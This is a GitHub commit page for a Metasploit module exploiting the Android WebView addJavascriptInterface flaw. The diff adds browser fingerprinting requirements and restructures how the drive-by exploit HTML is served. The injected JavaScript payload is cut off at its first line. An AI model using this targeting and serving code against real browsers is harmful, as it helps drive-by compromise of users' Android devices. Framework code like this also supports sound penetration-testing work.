Skip to content

Commit 0dc2ec5

Browse files
committed
Use BrowserExploitServer mixin.
This prevents drive-by users on other browsers from ever receiving the exploit contents.
1 parent 553616b commit 0dc2ec5

File tree

1 file changed

+14
-4
lines changed

1 file changed

+14
-4
lines changed

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 14 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77

88
class Metasploit3 < Msf::Exploit::Remote
99

10-
include Msf::Exploit::Remote::HttpServer::HTML
10+
include Msf::Exploit::Remote::BrowserExploitServer
1111
include Msf::Exploit::Remote::BrowserAutopwn
1212

1313
autopwn_info({
@@ -64,7 +64,13 @@ def initialize(info = {})
6464
'DefaultOptions' => { 'PrependFork' => true },
6565
'Targets' => [ [ 'Automatic', {} ] ],
6666
'DisclosureDate' => 'Dec 21 2012',
67-
'DefaultTarget' => 0
67+
'DefaultTarget' => 0,
68+
'BrowserRequirements' => {
69+
:source => 'script',
70+
:ua_ver => /17\..*/,
71+
:os_flavor => "Android",
72+
:arch => ARCH_ARMLE
73+
}
6874
))
6975
end
7076

@@ -73,11 +79,15 @@ def on_request_uri(cli, req)
7379
print_status("Serving javascript")
7480
send_response(cli, js, 'Content-type' => 'text/javascript')
7581
else
76-
print_status("Serving HTML")
77-
send_response_html(cli, html)
82+
super
7883
end
7984
end
8085

86+
def on_request_exploit(cli, req, browser)
87+
print_status("Serving exploit HTML")
88+
send_response_html(cli, html)
89+
end
90+
8191
def js
8292
%Q|
8393
function exec(obj) {

0 commit comments

Comments
 (0)